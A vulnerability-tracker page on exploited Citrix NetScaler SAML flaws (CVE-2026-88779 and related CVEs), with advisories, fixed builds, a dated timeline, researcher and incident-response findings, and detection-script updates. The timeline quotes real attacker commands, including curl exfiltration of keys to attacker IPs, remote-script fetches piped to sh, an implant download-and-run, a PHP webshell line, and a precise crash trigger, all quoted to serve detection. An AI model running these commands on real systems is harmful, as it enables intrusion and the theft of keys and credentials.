- Type
- Memory overflow leading to denial of service (CWE-119). Per Tenable's 4 Oct update, Citrix says it has observed targeted attacks on unmitigated deployments and so far no impact on customer data integrity. [3][53]
- Exposure
- Only appliances configured as a SAML service provider (SP) or SAML identity provider (IdP) - the same applicability check Citrix gave for the 2 Oct issue: add authentication samlAction (SP) or add authentication samlIdPProfile (IdP). Beazley recommends removing unused SAML configurations and restricting SAML endpoints to trusted networks as risk-reduction while patching. [3][53][2][54]
- Disclosure
- Citrix disclosed it on 3 Oct 2026 in bulletin CTX697174, crediting Bishop Fox and watchTowr. This is the CVE assigned to the SAML issue Citrix had described without a CVE since 2 Oct. [3][53]
- Status
- CISA added it to the KEV catalog on 4 Oct 2026 (catalog 2026.10.04), which confirms exploitation; federal remediation deadline 7 Oct 2026. Forensic triage required. Citrix has also released Global Deny List signatures as an interim mitigation on standard (non-FIPS) 14.1 and 13.1 appliances running the 27 Sep builds and managed through NetScaler Console. [30][3][53]
- Mechanism (Beazley, 4 Oct)
- The crash occurs while nsaaad processes the SAML signature canonicalization settings - specifically an oversized InclusiveNamespaces PrefixList. Beazley's IR observed attackers using it to force reboots on appliances already holding an injected pitboss message, so ns_monuploadd_err.pl re-reads and executes the line after reboot; appliances patched on 27 Sep no longer execute the injected commands, with no evidence of code execution on patched systems. CISA's 9 Oct alert revision states the same relationship in the agency's own words: in unpatched deployments, threat actors may exploit CVE-2026-88779 to force a reboot and accelerate conditions to allow execution of code previously injected through exploitation of CVE-2026-88771. [76][16]
- Fix
- Fixed in 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS and 13.1-37.282 FIPS/NDcPP - newer builds than the CTX697096 fixes. SAML deployments that already upgraded to the September builds must upgrade again. [3][53]
CVE-2026-88779: Citrix NetScaler SAML memory overflow leading to DoS
CVE-2026-88779 is a Citrix NetScaler ADC and Gateway vulnerability: SAML memory overflow leading to DoS, rated CVSS 4.0 8.7 High. Citrix disclosed it on 3 October 2026 in bulletin CTX697174, crediting Bishop Fox and watchTowr, and says it has observed targeted attacks on unmitigated deployments with no impact on customer data integrity so far. It is the CVE behind the SAML issue Citrix had described without a CVE since 2 October. [3]
- CVE
- CVE-2026-88779
- Product
- Citrix NetScaler ADC and NetScaler Gateway
- Bulletin
- CTX697174 [3]
- Severity
- CVSS 4.0: 8.7 High
- Exploitation
- Exploited in the wild (targeted)
- CISA KEV
- Yes, added 4 Oct 2026, federal deadline 7 Oct 2026 [50][30]
- Disclosed
- Fixed builds
- 14.1-73.41, 13.1-64.28 and FIPS/NDcPP builds
CVE-2026-88779 vulnerability records
Official records for CVE-2026-88779, checked on 6 October 2026. The CVE record was published by the CNA (NetScaler) at 2026-10-04 04:16 UTC. NVD finished its analysis on 5 October: its own primary score is CVSS 3.1 7.5 HIGH (availability impact), while the CNA-provided CVSS 4.0 8.7 HIGH is carried as Secondary. CWE-119 in both..
| CVSS 4.0 vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
|---|---|
| Weakness (NVD) | CWE-119 |
| NVD status | Analyzed (5 Oct): NVD primary CVSS 3.1 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H); CNA CVSS 4.0 8.7 HIGH carried as Secondary |
CVE-2026-88779 timeline
- Official advisory Validated
CISA adds CVE-2026-88771 and CVE-2026-88772 to KEV
Both were added on 27 Sep with a federal remediation deadline of 30 Sep. The 21:30 UTC release time comes from the compiled dataset and was not found in the sources checked.
Dates validated against the KEV catalog feed on 29 Sep.
- Official advisory Deadline - upcoming
Deadline: CISA KEV federal remediation
Both CVEs were added to KEV on 27 Sep with a due date of 30 Sep, giving US federal agencies three days. The required action is to apply Citrix mitigations under BOD 26-04 and CISA's Forensics Triage Requirements, or stop using the product if mitigations are unavailable; the KEV notes say customers must conduct forensic triage. The KEV entry gives a date only (2026-09-30), no time of day. CISA's directive deadlines are conventionally 11:59 PM U.S. Eastern (23:59 EDT, 03:59 UTC on 1 Oct), and third-party KEV trackers treat the due date the same way, but CISA publishes no official time for KEV due dates - so the deadline was passed by 1 Oct 04:00 UTC at the latest. A deadline, not an event.
- Research
Poppelgaard checker v1.9 adds public indicators
Release 1.9 of the free, read-only CTX697096 checker script adds, among others, Arctic Wolf's nsmon.pl implant, the Unit 42 .deb webshell and more attacker IPs, and tags each attack line as before or after the fix. Its author says a clean result is not proof of a clean appliance.
Sources: [75]
- Official advisory
Citrix releases a new responder policy via Support (3 October); not yet in Citrix's public post
Citrix has released a new responder policy as a mitigation for the SAML issue, distributed through Citrix Support on 3 October. The Poppelgaard checker README describes it and recognises it by behaviour on the appliance: any responder policy whose rule mentions samlauth or doAuthentication, bound to a Gateway/AAA vserver or globally, alongside Citrix's earlier RSP_POL_DROP and community Gotham policies. Citrix's public SAML post does not mention the policy yet and its text has not been published; distribution is through Support (under NDA), which matches Beaumont's reports of a responder policy shared through Support ("the policy citrix gave out doesn't work for me" on Oct 2, "the Citrix support mitigations don't appear to work" on Oct 3). The checker reminds admins to ask Citrix Support for the new policy and verifies whether it is bound - and flags a [CHECK] state where a policy is bound but the Responder feature is disabled, which silently ignores it.
- Official advisory
CVE-2026-88779 assigned: bulletin CTX697174 with new fixed builds; Global Deny List interim mitigation
Citrix publishes bulletin CTX697174 for CVE-2026-88779 - the CVE behind the SAML issue it had described without a CVE since 2 Oct. Memory overflow, CVSS 4.0 8.7, DoS; Citrix credits Bishop Fox and watchTowr, per Tenable says it has observed targeted attacks on unmitigated deployments, and has so far found no impact on customer data integrity. Fixed builds are newer than the September ones: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS, 13.1-37.282 FIPS/NDcPP - SAML deployments that upgraded on 27 Sep must upgrade again. Citrix also releases Global Deny List signatures as an interim mitigation for standard (non-FIPS) 14.1 and 13.1 appliances on the September builds, managed through NetScaler Console, and a blog explaining them. Only SAML SP or IdP configurations are affected (the same applicability check as the 2 Oct guidance).
- Research
FreeBSD Sliver C2 implant tied to pylrk.cc delivery: independent malware analysis (TLP:CLEAR), corroborated by Expel IR
A TLP:CLEAR malware analysis report dated 2 October ties the two 2 October threads together: the payload served at f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host is a Sliver C2 implant cross-compiled for FreeBSD - the operating system under NetScaler - built specifically for these appliances. Statically linked stripped Go ELF64, 8,822,784 bytes. Static strings (sample not executed): hardcoded C2 https://www.pylrk.cc, protocol tag pylrkfbsd, IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1 with tunnel/reverse-shell capability (consistent with the netcat-style callbacks Expel described in this campaign), a spoofed Chrome 108/Windows User-Agent for its own beacons, and no embedded IP - C2 resolves via DNS to pylrk.cc. VirusTotal: 31 of 75 engines, all Sliver/Vilers labels; first submitted 2 Oct 11:49 UTC; recorded filenames /var/tmp/.host, /private/var/tmp/.host and citrix3.bad (appliance paths). Corroboration: an Expel IR observation of exploitation against a NetScaler Gateway in late Sep-early Oct. This connects the pylrk.cc delivery domain to actual malware, and distinguishes this FreeBSD implant from the Perl webshell hosted on 213.209.159.55 (a separate, weaker-signal payload). The report is vendor-independent: no vendor or CERT has published on it. IoCs are on this page's IoC list.
- Research
Martin's Blog: candidate mechanism for the nsaaad SAML crash - 16-entry unterminated PrefixList array, canary read as string pointer, SIGBUS in strlen
A reverse-engineering post at mac.sploit.dk (3 Oct, updated 4 Oct after CTX697174 assigned CVE-2026-88779) proposes a candidate mechanism for the nsaaad crash, with stated boundaries. In build 14.1-73.30, a routine identified by embedded source strings as canonicalize_data (at 0x429750) puts namespace-prefix pointers into a sixteen-entry stack array at rbp-0xb0; the saved stack canary sits at rbp-0x30, exactly 16 pointers later. The code accepts sixteen space-separated InclusiveNamespaces PrefixList entries but the consuming diagnostic loop walks the array until a NULL sentinel - and with exactly sixteen entries there is no room for one, so the next load reads the saved canary and treats it as a string pointer. A controlled test against a disposable host-only 14.1-73.30 appliance (no AAA licence, so the daemon was driven over guest loopback at the internal message boundary, not through a network-facing Gateway) showed: 15 entries canonicalize successfully, 17 entries are rejected cleanly, and exactly 16 kill nsaaad with SIGBUS in strlen, exit status 0x8a, one Pitboss restart, and a core whose frame shows the canary value 0x94c4ee494769e33 as the failing strlen argument. Static analysis puts both the SAML SP and IdP parser paths through nsppe (byte-length limited to under 0x201 bytes but no limit on entry count) into the same canonicalization request, supporting an unauthenticated path subject to parser acceptance. Binary comparison: the 73.30 and 73.37 nsaaad files differ in only 70 bytes, all inside the vendor .ns_sig section - byte-identical with it removed - so the September CTX697096 fix did not change this routine; the bundled libxml2 is also identical. Stated gaps: no external network-path reproduction (licence limitation), no comparison with the fixed 73.41 build (so the CVE-2026-88779 mapping is evidence-supported but not build-confirmed), and no local result for restart exhaustion, reboot, code execution or persistence; the author also notes Citrix calls the issue a memory overflow while the demonstrated failure is an out-of-bounds pointer read without canary overwrite. The post keeps the command-bearing username record assigned to CVE-2026-88771, not this crash. The nsppe/nsssaaad hashes used are published in the post for reproduction. The mechanism matches the oversized-InclusiveNamespaces-PrefixList crash detail Beazley reported on 4 Oct from incident response - two independent sources now point at the same operation, from reverse engineering and from IR respectively.
- Official advisory
CISA adds CVE-2026-88779 to KEV - third exploited NetScaler CVE; federal deadline 7 Oct
CISA adds CVE-2026-88779 to the Known Exploited Vulnerabilities catalog (catalog version 2026.10.04, released 18:52 UTC), its third NetScaler entry of this campaign after CVE-2026-88771 and CVE-2026-88772 (both 27 Sep). CWE-119, due date 7 Oct 2026, required action: apply mitigations per vendor instructions under BOD 26-04 and CISA's Forensics Triage Requirements (forensicTriage = Yes), or discontinue use of the product if mitigations are unavailable; ransomware use Unknown. The KEV addition confirms the vulnerability is exploited, consistent with the "observed targeted attacks" wording relayed by Tenable.
- Research
Beazley Update 6: 88779 used to force reboots that re-arm the log injection - but 27 Sep patches stop it running; nsaaad crash mechanism detailed
Beazley Security's BSL-A1216 Update 6 (4 Oct) describes the mechanism behind the 4 Oct wave from its incident-response work: attackers attempt to use CVE-2026-88779 to force appliance reboots on hosts that already contain an injected pitboss message, so that after reboot the CVE-2026-88771 maintenance script ns_monuploadd_err.pl reads the injected line and executes the embedded command as root. Key finding: appliances patched on 27 September no longer execute the injected commands, and Beazley has found no evidence of code execution on patched systems - contradicts the earlier fear that the September fixes were fully bypassed. Technical detail for CVE-2026-88779: the crash occurs while nsaaad processes the SAML signature canonicalization settings, specifically an oversized InclusiveNamespaces PrefixList. Timing note carried over from watchTowr and Beazley: ns_monuploadd_err.pl runs periodically, potentially within 24 hours, so code execution can lag well behind the malicious request. The same update adds three exploit-delivery IPs (104.207.47.54, 104.207.46.202, 104.207.32.77), the Sliver download script hash (c2f5532f...) and the second-wave log payloads to the advisory's IoC tables; all are on this page's IoC list.
Sources: [76]
- Research
Checker v1.13 + Gotham 5 Oct update: 88779 attacker IP, Huntback.io decoys, pre-disclosure /saml/login sources, SAML probe hunting, "did it run?" shell-log check
Poppelgaard's checker reaches v1.13 (105 attacker IPs, 15 domains, 34 hashes) in two steps, with third-party indicators carried from their public sources. Gotham Technology Group's 5 October update (shared with permission) adds 138.199.60.5 as an attacker IP - it sent CVE-2026-88779 crash payloads to /saml/login and /cgi/samlauth on 5 October - plus a yellow hunting lead for the 138.199.60.0/24 hosting/VPN range used throughout the SAML attack, and four sources that sent GET /saml/login before disclosure (38.60.206.53, 38.60.212.144, 149.102.254.17, 130.94.19.84). Checker v1.13 (b159493, later refined in 81c7834) adds five Huntback.io decoy IPs that sent the CVE-2026-88771 nx_verify.html injection check (138.199.60.22, 138.199.60.36, 146.70.199.170, 146.70.211.157, 23.162.8.173), randomly named *.receiver webshells in the web folders as a compromise signal (Huntback.io), a Lupovis hunting lead - User-Agent probe/1 with a ~2.8 KB SAMLRequest inflating to 62 KiB, seen on 17 September, before CVE-2026-88779 was public - and Sliver implant file checks: citrix3.bad is reported as compromise, an executable /var/tmp/.host as compromise, any other /var/tmp/.host only as a [CHECK] so a harmless file never turns red on its own. New "did it run?" check (idea from Patrick Wagner's gerGEIGER log analysis in Manuel Winkel's (Deyda) triage script; own implementation): for each login-injection attempt it shows the download hosts named in the payloads (defanged, for firewall/DNS/proxy-log searches), the likely source IP (a Client_ip field in the line, or logon requests in the HTTP access logs within 5 seconds of the attempt, with ns.log timezone differences detected automatically), and whether the payload shows up in a shell command in sh.log, bash.log or CLI shell_command lines - reported as compromise; an admin's grep or cat does not count, and the checker says when the shell logs do not reach back to the first attempt. Fewer false alarms: configuration commands such as add ns acl and bind policy patset lines after applying a mitigation batch are no longer attack lines (failed NITRO/API logins still count, because the injection can sit in the user name), and links alone in a custom theme's resources/*.xml and plugins.xml are no longer red because both hold links by design - script tags, eval and fetch are still reported. A webshell hit now also says that upgrading does not remove a webshell dropped before the upgrade. All new indicators are on this page's IoC list with per-indicator caveats.
Sources: [75]
- Community
Citrix forum: Console relabels to "NS Asset Delivery"; stat denylist command behaviour after patching (unconfirmed)
A customer reports in Citrix's CVE-2026-88779 forum thread (unconfirmed, no Citrix reply) two observations after patching to 13.1-64.28: on-prem NetScaler Console now shows "NS Asset Delivery" where it previously showed "Virtual Patching", and the verification command stat denylist global AAA_REQUEST - which worked before - returns "no such resource", although the signature version (v24) and Denylist flag are ON. Relevant to anyone verifying the Global Deny List mitigation with that command. A follow-up comment (04:25 UTC, same customer) offers the customer's own interpretation - that the GDL signatures apply per firmware to the CVEs known for that build, so an empty stat on the patched build is expected - explicitly not a Citrix statement. No IoCs either way. Verify mitigation state through NetScaler Console rather than one CLI command.
Sources: [166]
- Research
Checker v1.14: config/SSL-key theft payload - ns.conf + all private keys dumped to a random .css, exfil to 81.94.239.8:8877; verdict line for compromised boxes
Poppelgaard's checker reaches v1.14 (106 attacker IPs, 15 domains, 34 hashes) with a config-and-key-theft payload seen in the field: it writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (example 74tns8.css), sends that file with curl --data-binary to 81.94.239.8:8877, and the attacker then downloads the .css from the Gateway - if it worked, the attacker has the configuration and every private key. New checks: any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is reported as compromise with advice to rotate all keys, certificates and passwords; GET requests for a random 6-character .css directly in LogonPoint are listed with source IP, where HTTP 404 means the dump never landed and HTTP 200 means the file existed and was downloaded (compromise); curl --data-binary @<file> and :8877/ are new exploit strings; 81.94.239.8 added as an attacker IP (single third-party field report, unverified - DEAC Hosting, Latvia; VirusTotal 1 of 92). A new final verdict line reports "VERDICT: COMPROMISED - follow CTX694799" (fixed build) or "COMPROMISED and VULNERABLE - follow CTX694799 first" with exit code 2, replacing the old "follow-up items"/"upgrade now" wording that risked wiping evidence. Community pull requests #4/#5 (feiglein74) add: any .php/.phtml under /var/netscaler/logon and /var/vpn, one-line webshells calling a request parameter as a function, PHP files the Apache error log shows running or that still exist (with first and last dates), setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home and /root, files dropped in the web folders that were downloaded with HTTP 200, and two field finds from Citrix's own IoC scan - a 2023 CVE-2023-3519-wave webshell at LogonPoint/uiareas/linux/gnuplot.php and a setuid backdoor at /var/rgroupadd (possibly 2023 leftovers; check file dates). A payload writing to a file every appliance has (e.g. /etc/httpd.conf) no longer counts as "the command ran". The release repeats the standing advice: block outbound NetScaler (NSIP/SNIP) traffic to the internet except what it needs - this payload, like the f.pylrk.cc downloads, only works if the appliance can reach the attacker's server.
Sources: [75]
- Research
Rapid7 MDR: earliest exploitation 20 Sep by 149.104.78.208 - config/keys archived to the web-served /vpn/c; two organisations compromised
Rapid7's ETR blog (updated 6 Oct) details what its MDR observed: the earliest CVE-2026-88771 exploitation attempt in its telemetry was 20 September 2026 14:28:43 UTC from 149.104.78.208 - only two attempts that day, not yet widespread. The injected username (a fake pitboss "missed too many heartbeats" line) ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, which archives /flash/nsconfig into the publicly served /var/netscaler/gui/vpn/ folder: ns.conf (encrypted nsroot and admin passwords, LDAP/RADIUS/TACACS bind passwords), the ssl/ directory (certificates and private keys), SSH host keys and license files. Once the command runs, any unauthenticated GET https://<gateway>/vpn/c returns the archive with no login. Rapid7 identifies two organisations compromised through CVE-2026-88771: this command injection, and a .ctxs.receiver webshell at /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver (SHA-256 ed082f74..., observed 24 September - the same sample IFIN relayed from Reddit, now vendor-confirmed). The checker v1.11 carried 149.104.78.208 with a Rapid7 attribution and the /vpn/c tar detail; the tar archive /vpn/c is already a compromise check in the checker (HTTP 200 on /vpn/c = the config archive was likely downloaded). Also in this update: the 6-crash-then-reboot behaviour of CVE-2026-88779 and the October content-release checks. All indicators are on this page's IoC list.
- Research
watchTowr publishes honeypot post-exploitation analysis and a public IoC repository for CVE-2026-88771
From thousands of exploitation attempts captured on real NetScaler sensor appliances, watchTowr details: (1) PoC-class probes writing id output to /var/tmp (wtw888, cve88771, cve88771_round2) and to web-served paths; (2) a compiled Sliver C2 implant staged to /var/vpn/ns_helper with a 60-second beacon and a hardcoded Chrome-on-Linux User-Agent; (3) attackers re-using the publicly documented .ctxs.receiver webshell by hunting for its leaked CsrfToken password; (4) a trojanized, statically linked Dropbear SSH 2025.88 build listening on tcp/37512 with a hardcoded password support1 and an embedded RSA-2048 key - effective only where the port is exposed via ns.conf; (5) a Perl stager (update_c08937.pl) minting a gw_health superuser in /flash/nsconfig/ns.conf and dropping a password-keyed PHP webshell to LogonPoint/.local_journal behind a LogonUISimple.html.style.min.<hex>.css alias - which fails in the default configuration because nsppe strips the Set-Cookie header the shell needs for its session; and (6) a spray-and-pray operator planting SSH keys in /root/.ssh, /nsconfig/ssh and /nsconfig/.ssh, spraying webshells across 14 directories and exfiltrating secrets including LLM API keys (OPENAI, ANTHROPIC, GEMINI and CLAUDE environment variables). watchTowr also claims that a process crash via CVE-2026-88772 or CVE-2026-88779 triggers a warm reload that executes the last poisoned log line instantly - watchTowr's own claim, consistent in mechanism with the Beazley 4 Oct reboot analysis but not vendor-confirmed, and on builds patched since 27 Sep the fixed ns_monuploadd_err.pl no longer executes injected lines. watchTowr advises capturing volatile forensics before restart, patch or re-imaging. Its IoC repository adds 47 source IPs, OOB callback domains, the backdoor account and five hashes.
- Official advisory
NVD publishes CVE-2026-107406 (status Received, later Awaiting Analysis); not in CISA KEV
NVD received the CVE-2026-107406 record at 22:17 UTC with the CNA (NetScaler) description and the CVSS v4.0 9.5 Critical score carried as Secondary; NVD analysis has not started (status moved to Awaiting Analysis on 10 Oct, last modified 10 Oct 04:18 UTC). The CISA KEV catalog (version 2026.10.08, released 20:09 UTC the same day) does not contain CVE-2026-107406 - re-checked against catalogs through 2026.10.13 on 14 Oct - and no exploitation has been publicly confirmed. Per secondary coverage of Citrix's customer guidance, Citrix says it is not aware of any unmitigated exploits of this vulnerability.
- Research
Poppelgaard checker v1.15 and v1.16: WHIPSHOT/SLAPSHOT scan detection, log-reflection technique, SOCRadar "NetScaler C2" agent, CVE-2026-107406 IdP/SP check
v1.15 (8 Oct): Lupovis shows scanning for the WHIPSHOT/SLAPSHOT webshells started before Mandiant published them, with a 10-step scan since 4 Oct; the checker adds receiver.deb / random 12-character .deb theme-folder probes, the g-suffix .css cache-bypass requests, and detects the log-reflection technique - an actor parks a whole shell script in a tagged User-Agent so it lands in the HTTP access log, then the CVE-2026-88771 injection carries only grep <tag>: /var/log/htt* | sed ... | sh, so filters watching the login field never see the payload. SOCRadar's automated "NetScaler C2" framework injects curl${IFS}-sk${IFS}45.143.130.195:8899/s/<id>|sh and installs a polling agent at /tmp/.nsagent, reported by the checker as compromise. v1.16 (8 Oct): adds the CVE-2026-107406 build and SAML IdP/SP check (verdict VULNERABLE_CVE-2026-107406, exit code 2, also on builds already fixed for CTX697096 and CVE-2026-88779), and - from a community report the same day - an overnight wave of the same login injection fetching https://v5v.in/r.sh?k=<key>|sh; payload host v5v.in and IP 72.5.65.111 added (totals 132 attacker IPs, 18 domains, 38 hashes). Since v1.15 the compromise sweep runs by default on the appliance.
Sources: [75]
- Official advisory
Citrix publishes CTX697191: CVE-2026-107406, SAML memory overflow leading to RCE or DoS, CVSS 9.5 - SAML deployments must upgrade again
Third NetScaler bulletin of the campaign, separate from CTX697096 and CTX697174. Preconditions are SAML SP or IdP with version-dependent scope: on the builds already fixed for the earlier bulletins (14.1-73.37 to 73.41 inclusive, 14.1-FIPS 73.37 to 73.41 FIPS, 13.1-64.23 to 64.28, 13.1-FIPS/NDcPP 37.279 to 37.282) only a SAML IdP (add authentication samlIdPProfile) is affected; on older builds both SP (samlAction) and IdP. Fixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP - builds that also carry the CTX697096 and CVE-2026-88779 fixes, so one upgrade covers everything. The bulletin lists no workaround and adds that Secure Private Access Hybrid deployments using NetScaler instances are also affected. This is the third required upgrade in under two weeks for SAML appliances that kept up with the previous bulletins.
Sources: [4]
- Official advisory
CISA revises its NetScaler alert: adds CVE-2026-107406 and CVE-2026-88779, and officially confirms the reboot/re-execution relationship
CISA's alert revision (Last Revised October 9, 2026) does four things: (1) adds CVE-2026-107406; (2) adds CVE-2026-88779 following its 4 Oct KEV addition; (3) states in CISA's own words the mechanism Beazley and watchTowr had described - in unpatched deployments, threat actors may exploit CVE-2026-88779 to force a reboot and accelerate conditions to allow execution of code previously injected through exploitation of CVE-2026-88771 - which upgrades that mechanism from researcher analysis to government confirmation; and (4) urges prompt patching of all ten CVEs and reviewing Citrix compromise guidance. The same day, the Canadian Centre for Cyber Security publishes advisory AV26-1023 and Belgium's CCB/Safeonweb warns about CVE-2026-107406, and press coverage appears at BleepingComputer, The Register, The Hacker News, SecurityWeek and Security Affairs - all quoting Citrix's "not aware of any unmitigated exploits" wording. BleepingComputer also relays Shadowserver figures: more than 21,000 NetScaler-fingerprinted IPs exposed (about 1,500 Gateways, nearly 20,000 ADCs).
- Official advisory
NCSC New Zealand refreshes its SAML warning: September fixes do not settle CVE-2026-107406; patching does not remediate a compromised system
New Zealand's NCSC updates its alert (14 Oct, local time) with CVE-2026-107406, warning that appliances patched per the original advisory are still vulnerable to it - applicability depends on SAML role and firmware version - and that patching is not sufficient to remediate a system that is already compromised. The update keeps two issues separate that public reporting keeps merging: CVE-2026-88779 is the SAML crash issue (KEV, 4 Oct); CVE-2026-107406 is the later SAML memory-overflow RCE/DoS issue (8 Oct, not in KEV). Rapid7's later demonstrated chain involves 88779, not proof of exploitation of 107406. CTX697191 remains the source of truth for build-specific applicability.
- Research
Zscaler ThreatLabz dissects the staged exploitation chain: INDEX:<base64> access-log staging, forged pitboss triggers, Nx_<n> webshells and PHP/Perl enablement; kw2 FreeBSD implant from 209.141.43.95 overlaps StyleSmuggler infrastructure
ThreatLabz details a staged log-poisoning chain consistent with CERT-EU's and Unit 42's analyses. Step 1: GET requests to /logon/LogonPoint/tmindex.html, /logon/LogonPoint/index.html, /vpn/index.html and /logon/tmindex.html carry a User-Agent of the form INDEX:<base64> - the request is not executed, it only parks the payload in the HTTP access log. The captured sample (a 7508-style payload) creates six web directories (bookmark, ns_gui/vpn, gui/vpn, LogonPoint, theme, admin_ui/apex), writes Nx_<n>.html fingerprint files with id/uname/hostname/nsrelease-or-ns.conf output, Nx_<n>.php shells (shell_exec($_GET[0])) and Perl CGI shells reading a 0= query parameter, then flips php_engine off to on in /etc/httpd.conf, appends AddHandler cgi-script .pl and HUPs httpd. Step 2: POSTs to /nf/auth/doAuthentication.do and /cgi/login carry forged pitboss PPE lines - "missed too many heartbeats" and "unexpectedly died" variants - with an appended grep INDEX: /var/log/htt* | sed ... | b64decode -r | sh trigger, often with ${IFS} in place of spaces; the trigger searches the HTTP access logs for the INDEX: marker, decodes it and runs it when ns_monuploadd_err.pl processes the forged record. ThreatLabz also captured shorter inline variants (a fingerprint-and-webshell one-liner and a fetch of http://209.141.43.95/files/kw2-freebsd-x64-s11 to /var/kw2s11, chmod +x, run) and a burst of exploitation from at least 26 source IPs in six to seven minutes, each sending the forged pitboss line plus the FreeBSD downloader. The download server 209.141.43.95 (FranTech/BuyVM, Cheyenne WY) also served payloads in StyleSmuggler (CVE-2026-75650) activity against Adobe Commerce/Magento - an investigative lead, not attribution. ThreatLabz notes the Perl maintenance script selects the last matching record (per CERT-EU), explaining why attackers repeatedly re-send the trigger, and repeats the forensic evidence warning from CISA.
- Research
Rapid7 confirms a two-CVE chain with HA-aware persistence: first-hand IR on a real NetScaler compromise (published 19 Oct, updated 22 Oct)
Rapid7 investigates an actual compromise of an affected 14.1 appliance in early October and, for the first time, documents the two-CVE chain end to end from victim telemetry: CVE-2026-88779 supplies the SAML crash/reboot condition (repeated nsaaad crashes, Pitboss reboot on the sixth crash) while CVE-2026-88771 supplies attacker-controlled log text; after reboot the call-home crash handler ns_monuploadd_err.pl processed the retained text and executed the payload as root. Logs and filesystem timestamps correlate the sequence, including repeated execution over several days - the crash path functioned as a repeatable execution trampoline, avoiding the 24-hour wait. The operator installed cookie-authenticated PHP shells (.slap.receiver / .ctxs.receiver / receiver.deb, with backup copies in /nsconfig/.slap) behind CSS-looking aliases (/logon/LogonPoint/custom/receiver.v2.min.<hex>.css), returned command output in HTTP 404 bodies, and repeatedly set /bin/sh to mode 6555 so the unprivileged web process could reach root. Persistence: cron reseeded on every run, rc.netscaler, watchdog loops, an outbound reverse agent polling every 15 seconds, and explicit HA recovery logic ("sync HA files all", "force HA failover") to preserve access across the pair. Recon: a stripped static FreeBSD Go binary (vc) mapped routes, DNS, LDAP/AD, management services and VMware vCenter, with a launcher scanning RFC1918 then management-derived ranges and uploading results. A second branch deployed the nsvmd FreeBSD Go proxy from v5v.in. Configuration (ns.conf.0-4, ns.conf.bak, httpd.conf, system backups, SSL/key material) was staged and exfiltrated - one archive in the web root was confirmed downloaded via an HTTP 200 whose size matched the staged archive. Six hashes, 13 IPs, one C2 domain and detailed paths are published (see the indicator appendix); YARA rules are for Intelligence Hub customers.
- Official advisory
CTX697263 gains NetScaler PHP2Shell remediation builds: 14.1-73.49 / 13.1-64.32 / FIPS equivalents; downloads portal lists them; checker v1.18 follows
Citrix's changelog for CTX697263 (the PHP2Shell advisory for CVE-2026-109618 / CVE-2026-109619, initially published 22 Oct) gains a 27 October entry: "Updated remediation versions for Citrix NetScaler ADC and Citrix NetScaler Gateway". The bulletin now strongly urges upgrades to 14.1-73.49 or later, 13.1-64.32 or later, 14.1-73.49 FIPS or later, and 13.1.37.286 or later for 13.1-FIPS/NDcPP (the final dotted spelling is Citrix's). These builds also contain the CTX697096, CVE-2026-88779 and CVE-2026-107406 fixes, so they are the one build to install. Citrix's upgrade notes for 14.1-73.49 / 13.1-64.32: ICA and VPN sessions drop during the upgrade, and samlRejectUnsignedAssertion OFF is forced ON. Downloads-portal availability is now independently confirmed: the Citrix downloads portal lists the 14.1 Build 73.49 firmware, VPX images (including AWS/Azure/GCP), CPX, BLX and 14.1-FIPS Build 73.49, all dated 27 Oct and marked NEW, alongside 13.1 Build 64.32 and the 13.1-FIPS/NDcPP 37.286 equivalents, and CERT-FR relays the bulletin the same day. The Poppelgaard checker reaches v1.18 the same day: on a build without the PHP fix, a management GUI open to any source in the NetScaler ACLs, or forwarded by an LB vserver, is now marked VULNERABLE (verdict VULNERABLE_PHP2SHELL, exit code 2); a GUI restricted by ACLs is a [CHECK] (exit 1), not clean; a fixed build whose PHP module lacks the two fix functions returns [CHECK] with advice to confirm with Citrix Support. Today's remediation bulletin covers CVE-2026-109618 / -109619 only - do not assume it covers CVE-2026-115560.
Questions about CVE-2026-88779
Is there a new NetScaler issue involving SAML?
Yes - two, both needing SAML SP or IdP configuration. CVE-2026-88779 (bulletin CTX697174, 3 Oct): memory overflow leading to denial of service, CVSS 4.0 8.7, exploited in targeted attacks, in CISA KEV since 4 Oct; fixed in 14.1-73.41, 13.1-64.28 and the matching FIPS/NDcPP builds. CISA's 9 Oct alert confirms in the agency's own words that in unpatched deployments attackers use it to force reboots that accelerate execution of code previously injected via CVE-2026-88771. CVE-2026-107406 (bulletin CTX697191, 8 Oct): memory overflow leading to remote code execution or denial of service, CVSS 4.0 9.5; on the builds fixed for the earlier bulletins (14.1-73.37 to 73.41, 13.1-64.23 to 64.28) it affects only appliances configured as a SAML IdP, and on older builds also SAML SPs; fixed in 14.1-73.46, 13.1-64.29 and the matching FIPS/NDcPP builds, which cover all three bulletins in one upgrade. Citrix lists no workaround for either. Per secondary coverage of its customer guidance Citrix is not aware of any unmitigated exploits of CVE-2026-107406, and no exploitation is independently confirmed - the only public "PoC" repositories are fake exploit-vendor scams. [2][3][4][53][128][129][16]
Which NetScaler vulnerabilities are exploited?
CVE-2026-88771 (unauthenticated remote command execution in the default configuration, CVSS 4.0 9.5), CVE-2026-88772 (DTLS memory overflow leading to RCE or DoS, CVSS 4.0 9.5) and, since 4 Oct 2026, CVE-2026-88779 (SAML memory overflow leading to DoS, CVSS 4.0 8.7). All three are in CISA's KEV catalog. CVE-2026-107406 (SAML, CVSS 4.0 9.5, 8 Oct) is not in KEV and Citrix says it is not aware of any unmitigated exploits of it. Kevin Beaumont reports CVE-2026-88773 was chained with the two, but no other source has independently confirmed that. No exploitation is reported for CVE-2026-88774 to CVE-2026-88778. [1][30][3][4][117]
Which NetScaler versions fix CVE-2026-88771 and CVE-2026-88772?
